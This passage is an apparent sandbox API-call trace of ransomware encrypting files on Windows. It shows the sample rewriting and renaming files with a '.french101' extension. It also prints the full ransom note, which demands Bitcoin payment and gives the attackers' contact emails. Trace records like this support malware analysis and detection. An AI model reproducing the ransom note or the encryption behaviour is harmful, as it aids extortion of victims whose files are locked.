lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.708] SetFilePointer (in: hFile=0x398, lDistanceToMove=104072, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x19688 [0269.708] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c38*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0269.852] CloseHandle (hObject=0x398) returned 1 [0269.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.908] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.908] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x19689 [0269.908] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0269.908] SetFilePointer (in: hFile=0x398, lDistanceToMove=104072, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x19688 [0269.908] SetEndOfFile (hFile=0x398) returned 1 [0269.911] CloseHandle (hObject=0x398) returned 1 [0269.911] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.911] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.911] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x19688 [0269.911] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0269.912] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.912] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0269.912] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.913] SetFilePointer (in: hFile=0x398, lDistanceToMove=60407, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xebf7 [0269.913] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.913] SetFilePointer (in: hFile=0x398, lDistanceToMove=89523, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x15db3 [0269.913] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.913] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0269.913] GlobalLock (hMem=0x3f4000c) returned 0x3ae6e20 [0269.913] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0269.913] GlobalUnlock (hMem=0x3f40014) returned 0 [0269.914] GlobalHandle (pMem=0x3ae6e20) returned 0x3f4000c [0269.914] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.914] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0269.914] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0269.914] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.931] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0269.931] WriteFile (in: hFile=0x398, lpBuffer=0x3eacc38*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eacc38*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.931] SetFilePointer (in: hFile=0x398, lDistanceToMove=60407, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xebf7 [0269.931] WriteFile (in: hFile=0x398, lpBuffer=0x3ead038*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ead038*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.931] SetFilePointer (in: hFile=0x398, lDistanceToMove=89523, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x15db3 [0269.931] WriteFile (in: hFile=0x398, lpBuffer=0x3ead438*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ead438*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0269.931] SetFilePointer (in: hFile=0x398, lDistanceToMove=104072, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x19688 [0269.931] WriteFile (in: hFile=0x398, lpBuffer=0x3ead838*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ead838*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0269.932] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa8a8*, nNumberOfBytesToWrite=0xca, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaa8a8*, lpNumberOfBytesWritten=0x19e7d8*=0xca, lpOverlapped=0x0) returned 1 [0269.932] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.932] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.932] CloseHandle (hObject=0x398) returned 1 [0269.984] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\KjJAqeiW7OiuvFOnvguy9GekaspZSp9hGmY.french101" (normalized: "c:\\588bce7c90097ed212\\kjjaqeiw7oiuvfonvguy9gekaspzsp9hgmy.french101")) returned 1 [0269.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\KjJAqeiW7OiuvFOnvguy9GekaspZSp9hGmY.french101" (normalized: "c:\\588bce7c90097ed212\\kjjaqeiw7oiuvfonvguy9gekaspzsp9hgmy.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.985] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0269.985] CloseHandle (hObject=0x398) returned 1 [0269.986] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\KjJAqeiW7OiuvFOnvguy9GekaspZSp9hGmY.french101", dwFileAttributes=0x80) returned 1 [0269.986] CloseHandle (hObject=0x398) returned 0 [0269.986] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.986] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.986] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.986] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0269.986] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0269.986] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0269.986] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.986] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0269.986] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.987] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0269.987] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0269.987] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0269.987] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0269.987] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0269.987] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0269.991] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0269.992] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0269.992] CloseHandle (hObject=0x398) returned 1 [0269.993] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0269.993] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0269.993] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0269.993] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.993] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.993] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.993] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0269.993] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0269.993] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0269.993] GlobalUnlock (hMem=0x3f4000c) returned 0 [0269.993] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0269.993] GlobalUnlock (hMem=0x3f40004) returned 0 [0269.994] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0269.994] CharLowerBuffW (in: lpsz="Windows6.0-KB956250-v6001-x64.msu", cchLength=0x21 | out: lpsz="windows6.0-kb956250-v6001-x64.msu") returned 0x21 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0269.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.082] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0270.082] CharLowerBuffW (in: lpsz=".msu", cchLength=0x4 | out: lpsz=".msu") returned 0x4 [0270.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msu", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msu0-v6001-x64.msu", lpUsedDefaultChar=0x0) returned 4 [0270.083] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0270.083] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0270.083] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0270.083] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.083] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.083] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.083] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0270.083] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0270.083] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0270.083] GlobalUnlock (hMem=0x3f40004) returned 0 [0270.083] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0270.083] GlobalUnlock (hMem=0x3f4000c) returned 0 [0270.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0270.083] CharLowerBuffW (in: lpsz="Windows6.0-KB956250-v6001-x86.msu", cchLength=0x21 | out: lpsz="windows6.0-kb956250-v6001-x86.msu") returned 0x21 [0270.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0270.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0270.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, 